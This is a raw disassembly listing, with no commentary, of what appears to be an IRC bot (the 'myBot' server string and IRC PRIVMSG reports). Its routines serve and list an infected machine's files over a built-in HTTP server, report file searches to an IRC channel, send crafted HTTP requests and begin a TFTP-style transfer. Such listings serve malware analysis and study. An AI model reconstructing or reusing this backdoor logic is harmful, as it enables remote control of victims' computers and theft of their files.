push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 2680000h
nop
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_406031
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4172B0
add esp, 24h
jmp short loc_406052
; ---------------------------------------------------------------------------
loc_406031: ; CODE XREF: sub_405F4D+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4172B0
add esp, 28h
loc_406052: ; CODE XREF: sub_405F4D+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43ADE8
cmp [ebp+var_A4], edi
jnz short loc_406092
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406A0D
pop ecx
pop ecx
jmp short loc_4060AF
; ---------------------------------------------------------------------------
loc_406092: ; CODE XREF: sub_405F4D+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_406387
add esp, 10h
loc_4060AF: ; CODE XREF: sub_405F4D+143j
push [ebp+var_44C]
call dword_43AE30
push [ebp+var_B4]
call sub_417078
pop ecx
push edi
nop
call near ptr 261031Eh
pop edi
pop esi
sub_405F4D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_417330
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_406106
push eax
push offset aS_2 ; "\\%s"
jmp short loc_40610F
; ---------------------------------------------------------------------------
loc_406106: ; CODE XREF: sub_4060D0+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40610F: ; CODE XREF: sub_4060D0+34j
lea eax, [ebp+var_10C]
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_417AB0
test eax, eax
pop ecx
jbe short loc_4061AA
mov [ebp+arg_8], 2
loc_40613A: ; CODE XREF: sub_4060D0+D8j
lea eax, [ebp+var_10C]
push eax
call sub_417AB0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40617A
cmp [ebp+esi+var_10C], 25h
jnz short loc_40617A
cmp [ebp+esi+var_10B], 32h
jnz short loc_40617A
cmp [ebp+esi+var_10A], 30h
jnz short loc_40617A
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_406194
; ---------------------------------------------------------------------------
loc_40617A: ; CODE XREF: sub_4060D0+7Aj
; sub_4060D0+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40618A
push 5Ch
pop eax
jmp short loc_40618D
; ---------------------------------------------------------------------------
loc_40618A: ; CODE XREF: sub_4060D0+B3j
movsx eax, al
loc_40618D: ; CODE XREF: sub_4060D0+B8j
mov [ebp+ebx+var_210], al
loc_406194: ; CODE XREF: sub_4060D0+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_417AB0
cmp esi, eax
pop ecx
jb short loc_40613A
loc_4061AA: ; CODE XREF: sub_4060D0+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4172B0
lea eax, [ebp+var_314]
push offset asc_42A660 ; "\n"
push eax
call sub_418B6E
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 26A02F4h
push 1
cmp eax, 10h
pop esi
jz short loc_4061FB
cmp eax, 0FFFFFFFFh
jnz short loc_4061FE
push [ebp+arg_0]
jmp loc_40627E
; ---------------------------------------------------------------------------
loc_4061FB: ; CODE XREF: sub_4060D0+11Cj
mov [ebp+var_4], esi
loc_4061FE: ; CODE XREF: sub_4060D0+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40620B
mov [ebp+var_4], esi
loc_40620B: ; CODE XREF: sub_4060D0+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_406289
cmp [ebp+arg_C], edi
jz short loc_40627D
lea eax, [ebp+var_314]
push offset asc_42A65C ; "*"
push eax
call sub_4179D0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_4172B0
lea eax, [ebp+var_210]
push eax
call sub_406ACA
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4172B0
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4062D8
; ---------------------------------------------------------------------------
loc_40627D: ; CODE XREF: sub_4060D0+152j
push ebx
loc_40627E: ; CODE XREF: sub_4060D0+126j
call dword_43AE30
jmp loc_406380
; ---------------------------------------------------------------------------
loc_406289: ; CODE XREF: sub_4060D0+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call near ptr 2660829h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4062D8
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4172B0
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 26A0000h
push esi
mov [ebp+var_330], eax
nop
call near ptr 26408F3h
loc_4062D8: ; CODE XREF: sub_4060D0+1ABj
; sub_4060D0+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_42A61C
push eax
call sub_4172B0
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_416D5C
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_4407F4[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405F4D
push edi
push edi
nop
call near ptr 2690C63h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_440804[ecx], eax
jz short loc_406352
loc_406340: ; CODE XREF: sub_4060D0+280j
cmp [ebp+var_318], edi
jnz short loc_406380
push 5
call near ptr 2610E88h
nop
jmp short loc_406340
; ---------------------------------------------------------------------------
loc_406352: ; CODE XREF: sub_4060D0+26Ej
push ebx
call dword_43AE30
nop
call near ptr 2660B07h
push eax
lea eax, [ebp+var_8C4]
push offset unk_42A5D4
push eax
call sub_4172B0
lea eax, [ebp+var_8C4]
push eax
call sub_40BF6D
add esp, 10h
loc_406380: ; CODE XREF: sub_4060D0+1B4j
; sub_4060D0+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4060D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap
; sub_40EE72+49C9p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_417330
mov edi, [ebp+arg_0]
push offset asc_42A660 ; "\n"
push edi
call sub_418B6E
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4063E6
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41782A
add esp, 14h
jmp loc_4064E5
; ---------------------------------------------------------------------------
loc_4063E6: ; CODE XREF: sub_406387+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4064CB
call sub_417AB0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
push edi
call sub_417AB0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_4064E5
; ---------------------------------------------------------------------------
loc_4064CB: ; CODE XREF: sub_406387+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
loc_4064E5: ; CODE XREF: sub_406387+5Aj
; sub_406387+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
cmp [ebp+arg_C], ebx
jz short loc_406580
push [ebp+arg_C]
call sub_417AB0
cmp eax, 2
pop ecx
jbe short loc_406580
push [ebp+arg_C]
call sub_417AB0
sub eax, 3
pop ecx
jz short loc_406531
loc_406525: ; CODE XREF: sub_406387+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_406531
dec eax
jnz short loc_406525
loc_406531: ; CODE XREF: sub_406387+19Cj
; sub_406387+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_418C10
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
loc_406580: ; CODE XREF: sub_406387+180j
; sub_406387+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 26D0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 26C0000h
test eax, eax
jz loc_406970
mov edi, 1FFh
loc_4065AC: ; CODE XREF: sub_406387+5E3j
cmp [ebp+var_388], ebx
jz loc_406958
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_406958
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_406958
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 26B0621h
nop
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 26B0000h
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_406621
mov ecx, offset aAm ; "AM"
loc_406621: ; CODE XREF: sub_406387+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40662D
sub eax, 0Ch
loc_40662D: ; CODE XREF: sub_406387+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4172B0
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4067D0
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4066A1
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_406919
; ---------------------------------------------------------------------------
loc_4066A1: ; CODE XREF: sub_406387+2E0j
cmp [ebp+arg_C], ebx
jz loc_40678B
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS ; "%s%s/"
push edi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
lea eax, [ebp+var_35C]
push eax
call sub_417AB0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_406741
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_406746
; ---------------------------------------------------------------------------
loc_406741: ; CODE XREF: sub_406387+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_406746: ; CODE XREF: sub_406387+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40691A
; ---------------------------------------------------------------------------
loc_40678B: ; CODE XREF: sub_406387+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 14h
jmp loc_406929
; ---------------------------------------------------------------------------
loc_4067D0: ; CODE XREF: sub_406387+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40680F
push ebx
push [ebp+var_368]
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4067FB: ; CODE XREF: sub_406387+577j
lea eax, [ebp+var_248]
push eax
call sub_41782A
add esp, 1Ch
jmp loc_406929
; ---------------------------------------------------------------------------
loc_40680F: ; CODE XREF: sub_406387+44Fj
cmp [ebp+arg_C], ebx
jz loc_406903
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
lea eax, [ebp+var_35C]
push eax
call sub_417AB0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4068AF
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4068B4
; ---------------------------------------------------------------------------
loc_4068AF: ; CODE XREF: sub_406387+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4068B4: ; CODE XREF: sub_406387+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4067FB
; ---------------------------------------------------------------------------
loc_406903: ; CODE XREF: sub_406387+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_406919: ; CODE XREF: sub_406387+315j
push esi
loc_40691A: ; CODE XREF: sub_406387+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41782A
add esp, 18h
loc_406929: ; CODE XREF: sub_406387+444j
; sub_406387+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
cmp [ebp+arg_8], ebx
jz short loc_406958
push 7D0h
nop
call near ptr 2610E88h
loc_406958: ; CODE XREF: sub_406387+22Bj
; sub_406387+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 26C0000h
test eax, eax
jnz loc_4065AC
loc_406970: ; CODE XREF: sub_406387+21Aj
push [ebp+arg_0]
call near ptr 26A03DDh
nop
cmp [ebp+arg_8], ebx
jz short loc_4069B3
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4172B0
add esp, 14h
jmp short loc_4069E7
; ---------------------------------------------------------------------------
loc_4069B3: ; CODE XREF: sub_406387+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4069CD
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4172B0
pop ecx
pop ecx
jmp short loc_4069E7
; ---------------------------------------------------------------------------
loc_4069CD: ; CODE XREF: sub_406387+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4172B0
add esp, 10h
loc_4069E7: ; CODE XREF: sub_406387+62Aj
; sub_406387+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43ADE8
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_406387 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 2660829h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406AC5
push esi
push ebx
nop
call near ptr 26A0000h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406ABE
loc_406A52: ; CODE XREF: sub_406A0D+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_417330
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_406A6F
mov edi, [ebp+arg_4]
loc_406A6F: ; CODE XREF: sub_406A0D+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 26D108Eh
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 2640000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_406AB9
call dword_43AD2C
cmp eax, 2733h
jnz short loc_406ABE
xor eax, eax
loc_406AB9: ; CODE XREF: sub_406A0D+9Bj
sub [ebp+arg_4], eax
jnz short loc_406A52
loc_406ABE: ; CODE XREF: sub_406A0D+43j
; sub_406A0D+A8j
push ebx
nop
call near ptr 26408F3h
loc_406AC5: ; CODE XREF: sub_406A0D+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406A0D endp
; =============== S U B R O U T I N E =======================================
sub_406ACA proc near ; CODE XREF: sub_4060D0+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_417AB0
test eax, eax
pop ecx
jbe short loc_406AF3
loc_406ADD: ; CODE XREF: sub_406ACA+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406AE7
mov byte ptr [esi+edi], 2Fh
loc_406AE7: ; CODE XREF: sub_406ACA+17j
push edi
inc esi
call sub_417AB0
cmp esi, eax
pop ecx
jb short loc_406ADD
loc_406AF3: ; CODE XREF: sub_406ACA+11j
mov eax, edi
pop edi
pop esi
retn
sub_406ACA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43AD10
push 6
push 1
push 2
call dword_43AE18
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43AD98
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40ADCA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43AD40
cmp eax, 0FFFFFFFFh
jz short loc_406BD5
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406B71
mov eax, offset byte_436EDC
loc_406B71: ; CODE XREF: sub_406AF8+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41782A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43ADE8
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43ADB0
pop esi
loc_406BD5: ; CODE XREF: sub_406AF8+6Bj
push ebx
call dword_43AE30
call dword_43ACF8
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4172B0
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406C15
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_406C15: ; CODE XREF: sub_406AF8+102j
pop edi
pop ebx
leave
retn
sub_406AF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p
; DATA XREF: sub_407252+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43AE18
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406CDC
push 190h
call near ptr 2610E88h
nop
call dword_43AD2C
push eax
lea eax, [ebp+var_780]
push offset unk_42AC38
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406CBC
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D679
add esp, 14h
loc_406CBC: ; CODE XREF: sub_406C19+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40BF6D
push [ebp+var_170]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_406CDC: ; CODE XREF: sub_406C19+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_4407FC[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43AD98
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43ADC4
cmp eax, 0FFFFFFFFh
jnz short loc_406D41
push 1388h
nop
call near ptr 2610E88h
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407104
; ---------------------------------------------------------------------------
loc_406D41: ; CODE XREF: sub_406C19+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
